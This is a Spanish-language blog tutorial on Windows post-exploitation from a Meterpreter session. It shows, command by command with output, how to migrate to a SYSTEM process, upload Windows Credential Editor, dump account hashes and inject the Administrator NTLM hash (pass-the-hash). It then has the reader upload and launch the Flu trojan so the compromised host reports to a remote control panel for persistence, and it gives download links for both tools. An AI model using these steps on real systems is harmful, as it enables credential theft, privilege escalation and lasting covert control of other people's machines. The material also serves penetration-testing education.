Post-exploitation con WCE y Flu

Hoy vamos a ver alguna de las acciones a realizar en un sistema Windows para lograr una elevación de privilegios y también para facilitar el acceso a posteriori al sistema, sin tener que volver a usar exploit alguno.

Para ello vamos a usar WCE (Windows Credential Editor) que es una evolución mejorada de la herramienta Pass-The-Hash y Flu, que es un troyano escrito en C# orientado al aprendizaje hecho por los chicos de fluproject.

No vamos a documentar como llegamos a tener acceso a la máquina vulnerable mediante exploits, vamos a obviar esa parte y a centrarnos en la parte de post-exploitation, en mi caso desde una sesión de meterpreter.

Así que…empecemos!!

Obteniendo el hash y elevando privilegios con WCE

WCE es una herramienta desarrollada por Amplia Security con la funcionalidad de inyectar el hash deseado en memoria y así realizar una escalada de privilegios para obtener permisos de Administrador.

Para ello, partimos de nuestra sesión de meterpreter y antes de nada migramos el pid de meterpreter a un proceso que pertenezca a SYSTEM:

meterpreter > ps

Process list
============

 PID   Name               User
 ---   ----               ----
 0     [System Process]
 4     System
 264   smss.exe           NT AUTHORITY\SYSTEM
 340   csrss.exe          NT AUTHORITY\SYSTEM
 388   wininit.exe        NT AUTHORITY\SYSTEM
 400   csrss.exe          NT AUTHORITY\SYSTEM
 440   winlogon.exe       NT AUTHORITY\SYSTEM
 468   services.exe       NT AUTHORITY\SYSTEM
 476   lsass.exe          NT AUTHORITY\SYSTEM
 484   lsm.exe            NT AUTHORITY\SYSTEM
 608   svchost.exe        NT AUTHORITY\SYSTEM
 716   svchost.exe        NT AUTHORITY\Servicio de red
 764   svchost.exe        NT AUTHORITY\SERVICIO LOCAL
 888   svchost.exe        NT AUTHORITY\SYSTEM
 952   svchost.exe        NT AUTHORITY\SYSTEM
 1108  svchost.exe        NT AUTHORITY\SERVICIO LOCAL
 1248  svchost.exe        NT AUTHORITY\Servicio de red
 1348  spoolsv.exe        NT AUTHORITY\SYSTEM
 1384  svchost.exe        NT AUTHORITY\SERVICIO LOCAL
 1484  svchost.exe        NT AUTHORITY\SERVICIO LOCAL
 1920  svchost.exe        NT AUTHORITY\Servicio de red
 1904  sppsvc.exe         NT AUTHORITY\Servicio de red
 300   svchost.exe        NT AUTHORITY\SYSTEM
 1576  taskhost.exe       VC-PC\sshMan@vC
 180   dwm.exe            VC-PC\sshMan@vC
 836   explorer.exe       VC-PC\sshMan@vC
 1188  jusched.exe        VC-PC\sshMan@vC
 2460  iexplore.exe       VC-PC\sshMan@vC
 2540  iexplore.exe       VC-PC\sshMan@vC
 2992  svchost.exe        NT AUTHORITY\SYSTEM
 3164  rundll32.exe       VC-PC\sshMan@vC

meterpreter > migrate 1180
[*] Migrating to 1180...
[*] Migration completed successfully.

Una vez migrado el meterpreter a un proceso que pertenezca a SYSTEM podemos subir el WCE a la máquina objetivo y utilizarlo desde allí (ya que en mi caso estoy utilizando Backtrack):

meterpreter > mkdir wce
Creating directory: wce
meterpreter > cd wce
meterpreter > upload -r /root/wce_v1_2/ c:/wce/
[...]
meterpreter > ls

Listing: C:\wce
===============

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2011-09-03 19:20:10 +0200  .
40777/rwxrwxrwx   0       dir   1980-01-01 00:00:00 +0100  ..
100666/rw-rw-rw-  1958    fil   2011-09-03 19:20:10 +0200  LICENSE.txt
100666/rw-rw-rw-  6885    fil   2011-09-03 19:20:10 +0200  README
100777/rwxrwxrwx  50176   fil   2011-09-03 19:20:10 +0200  getlsasrvaddr.exe
100777/rwxrwxrwx  199680  fil   2011-09-03 19:20:09 +0200  wce.exe

Ahora es el momento de obtener los hashes de las cuentas del sistema, para ello aprovecharemos el comando hashdump de meterpreter, pero se podría realizar de distintas formas:

Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshMan@vC:1000:aad3b435b51404eeaad3b435b51404ee:e70e5af96fc68a836ce96b76992cd2e8:::

Una vez que disponemos de los hashes el que más nos interesa es el de la cuenta Administrador, para inyectarlo en memoria con WCE, sacamos una shell de windows y lo ejecutamos con el hash de la siguiente manera:

meterpreter >shell

C:\wce>wce -s Administrador:VC-PC:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Changing NTLM credentials of current logon session (000003E7h) to:
Username: Administrador
domain: VC-PC
LMHash: aad3b435b51404eeaad3b435b51404ee
NTHash: 31d6cfe0d16ae931b73c59d7e0c089c0
NTLM credentials successfully changed!

C:\wce>wce -l
wce -l
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Administrador:VC-PC:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0

También hemos comprobado que el hash esté funcionando, listando el hash que tenemos en memoria en el momento. Y como se puede observar es el vinculado con la cuenta Administrador. Nuestra elevación de privilegios ha sido satisfactoria.

Asegurando la permanencia en el sistema con Flu

Flu pertenece a la filosofía HaaS (Hacking as a Service), que deriva de Software as a Service. El cliente de Flu está escrito en C# sin embargo proporciona una interfaz web basada en php en el lado del servidor, para poder enviar acciones a las máquinas infectadas mediante archivos XML. Podeis obtener más información sobre las características de Flu en la web de su proyecto.

No será tema de esta entrada cómo instalar Flu, ya que los chicos de flu-project tienen unos manuales simplemente perfectos que relatan la instalación paso por paso. Los manuales se obtienen al descargar el troyano (es necesario registrarse en su web para acceder a la descarga de los binarios).

Para esta entrada, partiremos de que ya tenemos el panel de administración de Flu instalado en un wamp en una máquina en LAN o en un servidor accesible desde internet y también el cliente de Flu preparado con la ip de la máquina a la que se debe conectar, para recibir los XML con las acciones (todo esto, está explicado en el manual de Flu):

Aprovechamos la misma sesión de meterpreter para subir el binario flu.exe a la máquina víctima:

meterpreter > upload /root/flu.exe c:/

Una vez subido el binario nos queda ejecutarlo (lo de configurarlo como servicio que se ejecute al iniciar vendría después). Obtenemos una shell mediante meterpreter y lo ejecutamos:

meterpreter > shell

C:\>start flu.exe

Ahora si accedemos al panel de administrador de Flu, donde sea que lo hayamos instalado, veremos esto:

Panel de administración de Flu

A partir de aquí solo quedaría configurar para que flu arranque al iniciar el sistema y aprender el funcionamiento del panel de administración, lo cual no corresponde al objetivo de esta entrada.

DESCARGA FLU: http://www.flu-project.com/downloadflu
DESCARGA WCE: http://www.ampliasecurity.com/research.html

Los comentarios estan cerrados.